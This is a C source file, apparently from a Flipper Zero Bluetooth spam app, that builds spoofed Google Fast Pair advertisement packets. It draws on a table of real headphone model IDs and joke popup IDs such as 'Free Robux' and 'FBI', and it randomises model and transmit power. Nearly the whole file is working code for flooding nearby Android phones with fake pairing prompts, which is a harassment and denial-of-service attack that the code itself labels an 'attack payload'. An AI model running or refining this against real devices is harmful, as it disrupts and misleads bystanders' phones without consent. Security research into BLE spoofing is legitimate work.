fastpair.c 7.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248
  1. #include "fastpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } models[] = {
  9. // Genuine devices
  10. {0xCD8256, "Bose NC 700"},
  11. {0xF52494, "JBL Buds Pro"},
  12. {0x718FA4, "JBL Live 300TWS"},
  13. {0x821F66, "JBL Flip 6"},
  14. {0x92BBBD, "Pixel Buds"},
  15. {0xD446A7, "Sony XM5"},
  16. {0x2D7A23, "Sony WF-1000XM4"},
  17. {0x0E30C3, "Razer Hammerhead TWS"},
  18. {0x72EF8D, "Razer Hammerhead TWS X"},
  19. {0x72FB00, "Soundcore Spirit Pro GVA"},
  20. // Custom debug popups
  21. {0xD99CA1, "Flipper Zero"},
  22. {0x77FF67, "Free Robux"},
  23. {0xAA187F, "Free VBucks"},
  24. {0xDCE9EA, "Rickroll"},
  25. {0x87B25F, "Animated Rickroll"},
  26. {0xF38C02, "Boykisser"},
  27. {0x1448C9, "BLM"},
  28. {0xD5AB33, "Xtreme"},
  29. {0x0C0B67, "Xtreme Cta"},
  30. {0x13B39D, "Talking Sasquach"},
  31. {0xAA1FE1, "ClownMaster"},
  32. {0x7C6CDB, "Obama"},
  33. {0x005EF9, "Ryanair"},
  34. {0xE2106F, "FBI"},
  35. {0xB37A62, "Tesla"},
  36. };
  37. const uint8_t models_count = COUNT_OF(models);
  38. static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
  39. UNUSED(_cfg);
  40. return "FastPair";
  41. }
  42. static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
  43. const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
  44. uint32_t model;
  45. if(cfg && cfg->model != 0x000000) {
  46. model = cfg->model;
  47. } else {
  48. model = models[rand() % models_count].value;
  49. }
  50. uint8_t size = 14;
  51. uint8_t* packet = malloc(size);
  52. uint8_t i = 0;
  53. packet[i++] = 3; // Size
  54. packet[i++] = 0x03; // AD Type (Service UUID List)
  55. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  56. packet[i++] = 0xFE; // ...
  57. packet[i++] = 6; // Size
  58. packet[i++] = 0x16; // AD Type (Service Data)
  59. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  60. packet[i++] = 0xFE; // ...
  61. packet[i++] = (model >> 0x10) & 0xFF;
  62. packet[i++] = (model >> 0x08) & 0xFF;
  63. packet[i++] = (model >> 0x00) & 0xFF;
  64. packet[i++] = 2; // Size
  65. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  66. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  67. *_size = size;
  68. *_packet = packet;
  69. }
  70. enum {
  71. _ConfigExtraStart = ConfigExtraStart,
  72. ConfigModel,
  73. ConfigInfoRequire,
  74. ConfigCOUNT,
  75. };
  76. static void config_callback(void* _ctx, uint32_t index) {
  77. Ctx* ctx = _ctx;
  78. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  79. switch(index) {
  80. case ConfigModel:
  81. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
  82. break;
  83. case ConfigInfoRequire:
  84. break;
  85. default:
  86. ctx->fallback_config_enter(ctx, index);
  87. break;
  88. }
  89. }
  90. static void model_changed(VariableItem* item) {
  91. FastpairCfg* cfg = variable_item_get_context(item);
  92. uint8_t index = variable_item_get_current_value_index(item);
  93. if(index) {
  94. index--;
  95. cfg->model = models[index].value;
  96. variable_item_set_current_value_text(item, models[index].name);
  97. } else {
  98. cfg->model = 0x000000;
  99. variable_item_set_current_value_text(item, "Random");
  100. }
  101. }
  102. static void fastpair_extra_config(Ctx* ctx) {
  103. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  104. VariableItemList* list = ctx->variable_item_list;
  105. VariableItem* item;
  106. size_t value_index;
  107. item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg);
  108. const char* model_name = NULL;
  109. char model_name_buf[9];
  110. if(cfg->model == 0x000000) {
  111. model_name = "Random";
  112. value_index = 0;
  113. } else {
  114. for(uint8_t i = 0; i < models_count; i++) {
  115. if(cfg->model == models[i].value) {
  116. model_name = models[i].name;
  117. value_index = i + 1;
  118. break;
  119. }
  120. }
  121. if(!model_name) {
  122. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
  123. model_name = model_name_buf;
  124. value_index = models_count + 1;
  125. }
  126. }
  127. variable_item_set_current_value_index(item, value_index);
  128. variable_item_set_current_value_text(item, model_name);
  129. variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
  130. variable_item_list_set_enter_callback(list, config_callback, ctx);
  131. }
  132. static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) {
  133. UNUSED(_cfg);
  134. return ConfigCOUNT - ConfigExtraStart - 1;
  135. }
  136. const Protocol protocol_fastpair = {
  137. .icon = &I_android,
  138. .get_name = fastpair_get_name,
  139. .make_packet = fastpair_make_packet,
  140. .extra_config = fastpair_extra_config,
  141. .config_count = fastpair_config_count,
  142. };
  143. static void model_callback(void* _ctx, uint32_t index) {
  144. Ctx* ctx = _ctx;
  145. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  146. switch(index) {
  147. case 0:
  148. cfg->model = 0x000000;
  149. scene_manager_previous_scene(ctx->scene_manager);
  150. break;
  151. case models_count + 1:
  152. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
  153. break;
  154. default:
  155. cfg->model = models[index - 1].value;
  156. scene_manager_previous_scene(ctx->scene_manager);
  157. break;
  158. }
  159. }
  160. void scene_fastpair_model_on_enter(void* _ctx) {
  161. Ctx* ctx = _ctx;
  162. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  163. Submenu* submenu = ctx->submenu;
  164. uint32_t selected = 0;
  165. bool found = false;
  166. submenu_reset(submenu);
  167. submenu_add_item(submenu, "Random", 0, model_callback, ctx);
  168. if(cfg->model == 0x000000) {
  169. found = true;
  170. selected = 0;
  171. }
  172. for(uint8_t i = 0; i < models_count; i++) {
  173. submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
  174. if(!found && cfg->model == models[i].value) {
  175. found = true;
  176. selected = i + 1;
  177. }
  178. }
  179. submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
  180. if(!found) {
  181. found = true;
  182. selected = models_count + 1;
  183. }
  184. submenu_set_selected_item(submenu, selected);
  185. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  186. }
  187. bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
  188. UNUSED(_ctx);
  189. UNUSED(event);
  190. return false;
  191. }
  192. void scene_fastpair_model_on_exit(void* _ctx) {
  193. UNUSED(_ctx);
  194. }
  195. static void model_custom_callback(void* _ctx) {
  196. Ctx* ctx = _ctx;
  197. scene_manager_previous_scene(ctx->scene_manager);
  198. scene_manager_previous_scene(ctx->scene_manager);
  199. }
  200. void scene_fastpair_model_custom_on_enter(void* _ctx) {
  201. Ctx* ctx = _ctx;
  202. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  203. ByteInput* byte_input = ctx->byte_input;
  204. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  205. ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
  206. ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
  207. ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
  208. byte_input_set_result_callback(
  209. byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  210. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  211. }
  212. bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  213. UNUSED(_ctx);
  214. UNUSED(event);
  215. return false;
  216. }
  217. void scene_fastpair_model_custom_on_exit(void* _ctx) {
  218. Ctx* ctx = _ctx;
  219. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  220. cfg->model =
  221. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  222. }